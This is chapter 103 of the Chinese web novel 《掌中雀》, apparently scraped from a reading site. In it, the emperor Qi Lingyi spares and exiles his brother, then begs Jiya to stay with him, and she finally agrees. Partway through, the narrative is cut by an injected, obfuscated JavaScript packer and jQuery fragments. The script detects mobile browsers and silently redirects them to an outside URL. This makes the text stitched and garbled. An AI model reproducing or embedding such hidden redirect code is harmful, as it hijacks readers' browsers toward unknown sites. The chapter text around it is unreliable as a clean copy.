103.第 103 章
作品:《掌中雀》 祈令夷扶起吉雅,另叫了马车将□□送回宫叫太医看诊。
面对祈真勍声声催促,他掀开眼皮瞪了他一眼,神情漠然,覆雪寒霜,却抬手叫百福将孩子递了过去。
祈真勍终于救下六哥的孩子,此刻喜不自胜,边哭边笑的命人赶紧找大夫给孩子把脉。
吉雅在远处看到他几近癫狂的涕泗横流,忽而有些心疼正站在他对面的祈令夷,明明也是哥哥,但他这个四哥众叛亲离,身边一个真心为他着想的兄弟也没有。
从前被三哥暗害,之后被六弟设计,甚至好不容易平乱,还要眼看最后一个弟弟自绝在他眼前。
她有些舍不得让他经历这些残酷,在他身后借着遮挡伸出手钻到了袖下,勾住他两指紧紧攥在手心。
他则毫不掩饰的回头看了她一眼,脸上始终挂着抹意义不明的笑。
回身,跪在地上的九弟重新拿起短刀,又向他磕了三个头。
“四哥,是我不对!顾虑不及咱们兄弟之情,往后弟弟不在,希望您保重身体,长命百岁。真勍这就去了!”
说着猛地挥刀向脖颈方向扎去,刀尖离脖颈不过半寸的间隙里,一只白玉破空而出打在了他手腕上,凶猛的力道叫他一下子松了手,玉身掉在地上碎得彻底,就在它旁边,扎于地上的短刃也在徐徐清风中回荡嗡鸣。
祈真勍不敢置信的仰头看向四哥,他生得面如冠玉,更有气势加身,仿佛真是命中注定会统御四海,引领八方。
输给他,实在怪不得哥哥。
正想着,面前高大的阴影踏足近前,挡住了笼罩在他身上的光明,祈真勍猛地顿滞住,一股无由来的冷颤游走全身,眼看着手背也激起整片的鸡皮疙瘩。
他暗淡的阴影蹲下身来,拽着胳膊将人扶起,动作轻缓犹带怜惜,但祈真勍感觉到他借着掩饰,指腹掐入骨肉,狠狠地压制着他。
“真勍,我这次依然会放了你。但你也要懂事些,远远离开再不能回来明白吗?”
他目若寒潭,将他拉近一分凑在耳畔。
“你是个聪明人,知道把她送来给我,我定会饶你一命,但这并不意味着,我不会计较你把主意打到她身上。”
祈真勍惊恐的转过黑瞳,隔着他看向他身后那个满目担忧的女人。
他确实知道那异族对皇帝十分重要,因此替他将人绑过来,想用人情交换,为自己也争取一条活路。可他太快看清这点,甚至自己之前从未展露过心机,被他如此轻易的揭穿,心惊骤然爬满四肢百骸。
他不愧是兄弟中的佼佼者,因此才能坐上那高位,祈真勍咬着唇战栗的垂下头,低低应道。
“是!我保证此生绝不会再踏出琼州半步。”
琼州隔绝于海外,地居炎方,多热少寒,五峰指翠相连,炎荒半壁。是个与世隔绝的穷乡僻壤之地,连新收入版图的朔方两地也比不上。
但是人好歹还能活下去,只要人活着总是能好些的。
一行车马渐渐消失在眼底,他们也到了回去的时候,踏上马车,吉雅看着他登上车板向她伸出了手,掌心的疤痕不仔细已经看不真切。
她瞧着半晌也没递出手去,反而倏忽想起了什么,抬眼问他。
“我们要去哪里?”
他似是看出了她的意图,收回手半蹲在车架前,同样问她。
“你想去哪里?”
吉雅眨着眼睛,好似提起一口气,“我想……”
“不行!”
惊慌的两个字猝然打断了她还未说出口的话,这里面掺杂太多复杂的情绪,任是等在一旁的百福也听得出,陛下掩饰不住的焦躁恐惧。
招呼四下的人手离开,百福知道他怕是要不顾脸面,说上些哄人的话。
但是退后了十步远的距离,马车那头反倒一点动静也没有,树丛被风吹得沙沙作响,倒衬得眼下静默诡异反常。
这一边,两人彼此错开目光久久无话,胸膛里的躁郁似乎一开口,就要在嘴里膨胀的撑破脸面,带来歇斯底里的尴尬场面,而两人谁也不愿意先迫使对方陷入那种境地。
别走,救救我。
话无法说出口,祈令夷在心里翻来倒去的折腾良久,琢磨不下百十来个计划能将人留下来,但他不愿意再使诡计,更不愿意逼迫她,拿权势威胁她,可他也的的确确准备了要挟的把柄。
□□人在宫里,她那么在乎这小丫头,一定不肯放她独自在这里,自己回去。
可挟持着人质,他忽而又拿不出手了。双眼紧紧盯着她被风吹动的衣角,想也想得到,她眼中深藏的波动,预示着底下隐含着的,会是多么不情愿的涟漪,他实在不想去懂。
“先……先回客栈吧!”吉雅让步了,还不清楚□□身体如何,她现在实在没有心思跟他掰扯。
但刚上前一步,他突兀的从车上跳了下来,高大的身影明明可以将她完全罩住,却被夏日里微微的一阵凉风吹得晃动不止。
“我不要,不想再继续下去了。”
他沉声念着,声线里微微发抖,像是久病不愈,却又像是出乎意料的紧张。
“自我遇见你已经多少年了?少时心比天高以为无不可为,恣意任性劣迹斑斑,纵使这样,没想到也还是活过了这十年。到如今,快三十岁的年纪,我已经深感疲惫禁不起折腾了,往后只想同吾妻平淡安稳的过日子。”
吉雅心内一阵酸涩,想起曾听到的谣传,京城里的世家贵女被皇帝相中,早就定下了婚约,只可惜她身娇体弱缠绵病榻,所以到现在还未入宫。
他说的吾妻莫不是她,提起此事莫不是要她不要纠缠,吉雅犹豫半晌,不知道自己该对此说些什么,只得尽量压平声线淡淡道。
“恭喜陛下!若是□□无恙,那民妇就带着她回去了。”
她低着脑袋,自然没有看到此话说完,对方脸上那几近恼怒与不解的神情。
“你是在讥讽我吗?”
吉雅被他一问猛地抬起头,谁料这人站得过近,自己仰着脑袋快要翻过去似的向后退,但他一把握住双肩,将人困在原地,逼她不得不看着他怒目瞪视的眼睛。
“你是真傻还是在跟我装傻?我说的是谁你不清楚?”
被他晃了一下,吉雅这才后知后觉的面泛红云,耳根子痒痒燥燥的,这才明白他说的是自己。
惯常被她翻来覆去的戏弄,此刻瞧见她脸上越来越热,才明白她可能真的误会了什么,愈发无言以对,怒气也泄了一半,失力苦笑着靠在她肩膀上缓言道。
“是你,说的是你!我想你待在我身边,我离不开你!”
他顿了顿,无可奈何的将自己的弱点豁开了给她看。
“离了你我活不了,我承认!所以……你要不要留下来救救我?”
双耳被这番惊世骇俗的言论激荡着回溯嗡鸣,吉雅颅内千百种念头一起窜了出来,把她搅得根本无法分辨得清,他那句话到底代表着什么意思。
面对她久久无法回应,祈令夷深知她心里在想什么,于是先一步替她说了出来。
“你不愿意待在宫里,也不习惯京城气候,我都清楚。但我保证这只是暂时的,等到局势稳定,我会带着你去行宫居住,那里四季如春气候宜人,你想做什么都可以,没有任何人会指摘你。甚至不喜欢的话,我们也可以回到漠北暂住,我可以折返两地,必不会叫你受了委屈。”
浓郁的灼热气团噎在了嗓子里,吉雅费力将它吞咽下去,才一开口便又泄出颤声。
“你为什么非要同我不可呢?这般费力,还不如各自安好。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536229|156156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“那你呢?”他也静下来,两只黑白分明的瞳仁一眨不眨的看着她。
“你为什么对我如此残忍?若我是平常男子,若我没生在祈家,是不是我们早就和和美美的生活在一起,早就没了这么多艰难?”
“你不能因为我的身份这么轻易的推开我,你明知道这一切无法说放就放,生于祈氏也不是我能选择的,你这样对我来说公平吗?”
被引发根本的问题,吉雅也勃然升起怒气。
“逼我为你妥协,你又公平吗?你明知道我不愿意被那四方天锁住,一而再再而三的逼我,凭什么我的自由,就要为你的权势让步?”
眼看她生起气来,眼中转着水光委屈不已的样子,祈令夷连忙将人拉到怀里,解释道。
“没有迫你妥协的意思,我来让步好不好?只要你还愿意认我,肯等我回到家里,我会一步一步安排好一切,等到孩子长大些,把皇位交给他,到时候我就回来,再不和你分开了。”
吉雅在他怀里泣不成声,脑袋乱成一团,呜咽着捶了他一拳。
“顺哥儿才不要!你以为给的是什么宝贝东西,我儿子才不答应接下你的烂摊子!”
他察觉到她松动的口风,连忙接道:“顺哥儿会喜欢的,他也是我的儿子,虽不想承认,但渴求权力是刻在我们骨血里的东西,他会喜欢的!”
被他严严密密的抱在怀里,甚至紧得有些喘不上气,吉雅好不容易拍着他肩膀叫他松上两分,见他还垂着头细细的刮着脸上泪痕,忍不住轻嗤他一声。
“我可没答应!你不要得了便宜卖乖。”
祈令夷连连称是,握住她的手抵在唇下不断亲吻。
“只要你还要我,我什么都听你的。”
人前一个样,在她面前又一个样,吉雅被他这般供着捧着,深感不适,自己先行钻到了车里擦眼泪,又见他不一会儿也钻了进来。
“你不要以为花言巧语就可以把我留下,我可什么都没应。”
再次强调一遍,生怕他又开始犯浑强行把她困在城里,然而一反常态的,他却并没有应承下来,或是说上些什么掩饰过去。
祈令夷盯着她,固执的似是要望到她心里去。
“没有花言巧语,以后我都不说谎话了。”他念叨着,眉心紧紧的拧在一处,垂头将额头抵在她手心良久,继而抬眼看过来,眉目中隐隐萦绕的愁绪怎么也融化不开。
“我不打算再瞒你。我就是这样一个虚伪冷漠,自私贪婪,为达目的不择手段的人,甚至知错也不会悔改,根本与你心中憧憬的那个光风霁月的君子,相去甚远。”
“我是个无可救药的烂人,但我不要你心软,不要你原谅。我只想知道,这样一个不美好的,甚至算不上正常的我,你还想不想要?”
吉雅愣住,丝毫没有料到他居然放下了戒备,把自己全须全尾的交到了她手里。
甚至根本毫无避讳的说自己不大正常,但转念一想,她又正常到哪里去呢?真正勇敢热烈的女子,早就会将旧事抛于脑后迎奔新生,而她纠缠了这么久,被扯着步子在原地艰难挣扎,不也是有异于他人吗?
她想透这层,忽而体悟到,或许他俩个同属异类,碰到了便是一辈子不得脱身,偏要强行掰正做什么?不如互相攀附着莫去祸害别人罢了。
被困在方寸点的地方,连躲避也没可能,在他的穷穷追视下,吉雅不得不答。
“要。”她启口的一个字几近气音,祈令夷却因直直盯着她,将她张嘴的口型看得清楚。
她说要的,即便如此,她还是要的。
他失笑着搂住她的腰钻入怀中,连自己也未曾意识到的如蒙大赦。
他想,当真是我的神女,几经波折的下凡来,只为了度化我一人。